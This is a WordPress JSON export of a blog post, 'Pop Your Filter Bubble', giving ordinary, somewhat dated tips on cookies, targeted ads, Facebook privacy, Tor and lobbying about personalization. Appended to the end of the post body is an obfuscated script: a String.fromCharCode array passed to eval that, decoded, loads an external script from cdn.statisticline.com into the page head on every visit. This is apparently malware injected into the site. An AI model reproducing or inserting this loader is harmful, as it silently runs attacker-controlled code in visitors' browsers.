{"id":5840,"date":"2023-06-09T10:55:19","date_gmt":"2023-06-09T10:55:19","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/pop-your-filter-bubble\/"},"modified":"2023-06-09T10:55:19","modified_gmt":"2023-06-09T10:55:19","slug":"pop-your-filter-bubble","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/pop-your-filter-bubble\/","title":{"rendered":"Pop Your Filter Bubble"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/pop-your-filter-bubble\/#What_is_the_Filter_Bubble\" title=\"What is the Filter Bubble?\">What is the Filter Bubble?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/pop-your-filter-bubble\/#Hiow_do_you_pop_your_the_Filter_Bubble\" title=\"Hiow do you pop your\u00a0the Filter Bubble?\">Hiow do you pop your\u00a0the Filter Bubble?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/pop-your-filter-bubble\/#Using_technology_to_pop_your_filter_bubble\" title=\"Using technology to\u00a0pop your filter bubble\">Using technology to\u00a0pop your filter bubble<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_the_Filter_Bubble\"><\/span><strong>What is the Filter Bubble?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The whole Internet is rapidly being personalized. Nobody can predict what kind of Internet &#8212; what kind of world &#8212; will emerge when everyone has a unique view of the world that nobody else can share.<\/p>\n<p>Companies are aggressively pursuing personalization because it makes users happy. Personalization validates existing beliefs and prejudices. &quot;Consuming information that conforms to our ideas of the world is easy and pleasurable,&quot; according to Pariser. &quot;Consuming information that challenges us to think in new ways or question our assumptions is frustrating and difficult.&quot;<\/p>\n<p>If you click to satisfy some passing curiosity, the algorithm might favor more such links in future. Because there are more links, you click more. You might even monitor your own activity and conclude that you must be especially interested. Personalization not only responds to personal interests. It shapes them.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Hiow_do_you_pop_your_the_Filter_Bubble\"><\/span>Hiow do you pop your\u00a0the Filter Bubble?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div id=&quot;s-lg-box-wrapper-8424891&quot; class=&quot;s-lg-box-wrapper-8424891&quot;>\n<div id=&quot;s-lg-box-7164055-container&quot; class=&quot;s-lib-box-container&quot;>\n<div id=&quot;s-lg-box-7164055&quot; class=&quot;s-lib-box s-lib-box-std&quot;>\n<div id=&quot;s-lg-box-collapse-7164055&quot;>\n<div class=&quot;s-lib-box-content pad-left-none pad-right-none&quot;>\n<div id=&quot;s-lg-content-14199979&quot; class=&quot; clearfix&quot;>\n<p>Now that you know what a filter bubble is, what are some ways to get outside the bubble?<\/p>\n<p>Unfortunately, <strong>there are no magic bullets<\/strong>: The ad companies and personal data vendors that power and profit from personalization are far more technologically advanced than most of the tools for controlling your personal data.<\/p>\n<p>That\u2019s why The Filter Bubble calls on companies and governments to change the rules they operate by \u2014 without those changes, it\u2019s simply not possible to escape targeting and personalization entirely.<\/p>\n<p>You can&#8217;t get out of the bubble all the way, but these options can mitigate the effects of the filter bubble are described in Eli Pariser&#8217;s book\u00a0&quot;10 Ways to Pop Your Filter Bubble.&quot;<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 id=&quot;s-lg-box-wrapper-8424894&quot; class=&quot;s-lg-box-wrapper-8424894&quot;><span class=\"ez-toc-section\" id=\"Using_technology_to_pop_your_filter_bubble\"><\/span>Using technology to\u00a0pop your filter bubble<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 class=&quot;s-lib-box-title&quot;>1. Delete\u00a0Your Search History<\/h3>\n<p class=&quot;s-lib-box-title&quot;>Your web history provides Google with a lot of information about you and is used to help determine what results Google gives you. To delete your web history:<\/p>\n<div id=&quot;s-lg-box-collapse-7164056&quot;>\n<div class=&quot;s-lib-box-content pad-left-none pad-right-none&quot;>\n<ol>\n<li>Go to Google&#8217;s homepage<\/li>\n<li>Click on your username in the top right corner<\/li>\n<li>Click on &quot;Account Settings&quot;<\/li>\n<li>Click on &quot;edit&quot; next to the &quot;My Products&quot; header<\/li>\n<li>Click &quot;Remove Web History Permanently&quot;<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<h3><strong>2. Delete\u00a0your cookies<\/strong><\/h3>\n<p>Cookies are one of the easiest ways for companies to track you from site to site. When you visit a site that uses cookies (almost all of them do these days), the site stores identifying data on your computer. With permission, other sites can then access that data and use it to change what you see. So if you want to see outside the filter bubble, erase your cookies regularly (Google provides helpful instructions <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.google.com\/support\/accounts\/bin\/answer.py?answer=32050&quot;\" class=\"broken_link\">here<\/a>) \u2014 and disable the \u201ctracking cookies\u201d that are a common way for ad networks to learn about you:<\/p>\n<ul>\n<li>In Chrome, go to Preferences &gt; Under the Hood &gt; Content Settings (You can also see all the cookies on your machine here.)<\/li>\n<li>Firefox: Preferences &gt; Privacy &gt; Use custom settings for history<\/li>\n<li>Safari: Preferences &gt; Security<\/li>\n<li>Internet Explorer: Internet options &gt; Privacy<\/li>\n<\/ul>\n<h3>3. Turn off targeted ads<\/h3>\n<div id=&quot;s-lg-box-collapse-7164292&quot;>\n<div class=&quot;s-lib-box-content pad-left-none pad-right-none&quot;>\n<div id=&quot;s-lg-content-14200151&quot; class=&quot; clearfix&quot;>\n<p>You can turn off targeted advertising at the browser level. Click on the links below to turn off targeted ads for a particular browser.<\/p>\n<\/div>\n<div class=&quot;&quot;>\n<ul id=&quot;s-lg-link-list-16283223&quot; class=&quot;s-lg-link-list s-lg-link-list-2&quot;>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14227334&quot; class=&quot;&quot;>Google Chrome &quot;Keep Your Opt-Outs&quot; Extension<\/div>\n<\/li>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14235108&quot; class=&quot;&quot;><a href=\"\/\/windows.microsoft.com\/en-US\/windows7\/How-to-use-Tracking-Protection-and-ActiveX-Filtering&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">Internet Explorer &quot;Tracking Protection&quot; Option<\/a><\/div>\n<\/li>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14224835&quot; class=&quot;&quot;><a href=\"\/\/support.mozilla.org\/en-US\/kb\/how-do-i-turn-do-not-track-feature?redirectlocale=en-US&amp;redirectslug=how-do-i-stop-websites-tracking-me&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">Firefox&#8217;s &quot;Do Not Track&quot; Option<\/a><\/div>\n<\/li>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14248230&quot; class=&quot;&quot;><a href=\"\/\/appletoolbox.com\/2014\/02\/safari-do-not-track-settings\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">Safari&#8217;s &quot;Do Not Track&quot; Feature (which can also be turned on for iPhone and iPad)<\/a><\/div>\n<\/li>\n<\/ul>\n<\/div>\n<div id=&quot;s-lg-content-25341968&quot; class=&quot; clearfix&quot;>\n<p>You can also tell many ad networks at once that you do not want targeted ads, on the Digital Advertising Alliance Consumer Choice page.<\/p>\n<\/div>\n<div class=&quot;&quot;>\n<ul id=&quot;s-lg-link-list-28073051&quot; class=&quot;s-lg-link-list s-lg-link-list-2&quot;>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14219107&quot; class=&quot;&quot;><a href=\"\/\/www.aboutads.info\/choices\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">Digital Advertising Alliance Consumer Choice Page<\/a><\/div>\n<\/li>\n<\/ul>\n<\/div>\n<div id=&quot;s-lg-content-25342005&quot; class=&quot; clearfix&quot;>\n<p>Unfortuantely, Ad companies have the choice to not abide by your requests to not be tracked. But most will, so make sure you give them the option to.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<h3><strong>3. Tell Facebook to keep your data private<\/strong><\/h3>\n<p>More than any other company, Facebook has made a massive amount of previously private data public. On a number of occasions, the company has changed data settings so that what was once private is now public (for example, the pages you Like were private but are now mandatorily public). And while these changes aren\u2019t clear to users, they make it possible for companies like Rapleaf to build and sell profiles of you to whomever they want.<\/p>\n<p>The main\u00a0thing to remember is: Never tell Facebook anything you don\u2019t want the whole internet\u00a0(and world) to know about you.<\/p>\n<p>To add additional protections, set your Facebook privacy settings all the way up. (Facebook explains how to do that <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.facebook.com\/help\/?topic=privacy%20&quot;\" class=\"broken_link\">here<\/a>.) If you\u2019re logged into Facebook, it may also transmit information about you to other websites \u2014 you can turn off Instant Personalization by following the steps <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.zdnet.com\/blog\/igeneration\/facebook-instant-personalization-how-to-disable-it-and-why\/8006&quot;\" class=\"broken_link\">here<\/a>.<\/p>\n<h3><strong>4. Hide\u00a0your birthday<\/strong><\/h3>\n<p>One of the biggest challenges for personal data vendors like Experian, Acxiom, and Rapleaf is figuring out who is who.<\/p>\n<p>Say you\u2019ve got the list of John Smith\u2019s Facebook Likes, and you want to match that with, say, his voting records. How do you go about it, given that there are thousands of John Smiths out there? As it turns out, one of the most common \u201ckeys\u201d for identifying particular people is your birthday. The number of John Smiths who share your birthday is far smaller \u2014 often there\u2019s just one.<\/p>\n<p>Keep your birthday to yourself when you can. Take it off your Facebook profile \u2014 or even just take off the year, which makes it much less useful. Revealing it rarely results in better services, but for data miners, it\u2019s gold.<\/p>\n<p>By the same token, always using \u201cfirstnamelastname\u201d as a username also makes it easy for companies to match data about you from many different websites.<\/p>\n<h3><strong>6. Go incognito<\/strong><\/h3>\n<p>Most recent browsers have a \u201cprivate browsing\u201d or \u201cincognito\u201d mode that turns off history tracking, hides your cookies (and deletes the new ones when you close the window), and logs you out from sites like Google and Facebook.<\/p>\n<p>By opening a page in this mode, you can more easily see how different your cookie-driven personalized version is.<\/p>\n<p>However, since many companies (including Google) use data that doesn\u2019t live on your computer to personalize, you may see different sites than a friend even in incognito mode.<\/p>\n<h3><strong>7. Go anonymous<\/strong><\/h3>\n<p>Sites like Torproject.org and Anonymizer.com allow you to run all of your browser traffic through their servers, effectively removing some of the signals that come through when you\u2019re in incognito mode.<\/p>\n<p>These are two browsers that let you browse anonymously:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14219774&quot; class=&quot;&quot;><a href=\"\/\/duckduckgo.com\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">DuckDuckGo.com<\/a>: You might also choose to use DuckDuckgo.com, an alternative browser that does not track your history and is private, avoiding the filter bubble.<\/div>\n<\/li>\n<li class=&quot;&quot;>\n<div id=&quot;s-lg-content-14251109&quot; class=&quot;&quot;>Torproject.org: Even in private browsing mode in standard search engines, results will still be tailored to you based on information such as your location, which search engines know because of your IP address. To stop this completely, you would have to go completely anonymous. Sites like torproject.org (which has downloadable software for free) and anonymizer.com (which has software that costs money) allow you to do this.<\/div>\n<\/li>\n<\/ul>\n<h3><strong>8. Depersonalize your browser<\/strong><\/h3>\n<p>Every request to download a web page reveals a lot about how your computer is configured \u2014 and many of those configurations are unique to you.<\/p>\n<p>The Electronic Frontier Foundation (EFF) makes it easy to see how unique your settings are <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/https:\/\/panopticlick.eff.org\/&quot;\" class=\"broken_link\">here<\/a>.<\/p>\n<p>And they give some good guidelines on how to make your settings harder to track <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/panopticlick.eff.org\/self-defense.php&quot;\" class=\"broken_link\">here<\/a>.<\/p>\n<h3><strong>9. Lobby\u00a0Google and Facebook<\/strong><\/h3>\n<p>While both companies provide nominal tools to access your personal information and manipulate your filters, they mostly fall far short of being actually useful.<\/p>\n<p>You can let them know by getting in touch here:<\/p>\n<ul>\n<li>Google: <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.google.com\/publicpolicy\/feedback.html&quot;\" class=\"broken_link\">http:\/\/www.google.com\/publicpolicy\/feedback.html<\/a><\/li>\n<li>Facebook: <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.facebook.com\/help\/?topic=suggestions&quot;\" class=\"broken_link\">http:\/\/www.facebook.com\/help\/?topic=suggestions<\/a><\/li>\n<\/ul>\n<h3><strong>10. Tell your government that\u00a0you care<\/strong><\/h3>\n<p>Lobbyists for the big personalizers and data vendors are telling Congress the same thing: consumers don\u2019t really care about this stuff, and it\u2019s not worth seriously regulating.<\/p>\n<p>If you&#8217;re in the US, you can write to Congress here:<\/p>\n<ul>\n<li>House: <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/https:\/\/writerep.house.gov\/writerep\/welcome.shtml&quot;\" class=\"broken_link\">https:\/\/writerep.house.gov\/writerep\/welcome.shtml<\/a><\/li>\n<li>Senate: <a href=\"&quot;https:\/\/web.archive.org\/web\/20150105051620\/http:\/\/www.senate.gov\/general\/contact_information\/senators_cfm.cfm&quot;\" class=\"broken_link\">http:\/\/www.senate.gov\/general\/contact_information\/senators_cfm.cfm<\/a><\/li>\n<\/ul>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What is the Filter Bubble? The whole Internet is rapidly being personalized. Nobody can predict what kind of Internet &#8212; what kind of world &#8212; will emerge when everyone has a unique view of the world that nobody else can share. Companies are aggressively pursuing personalization because it makes users happy. Personalization validates existing beliefs [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5840","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5840"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5840"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5840\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5840"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}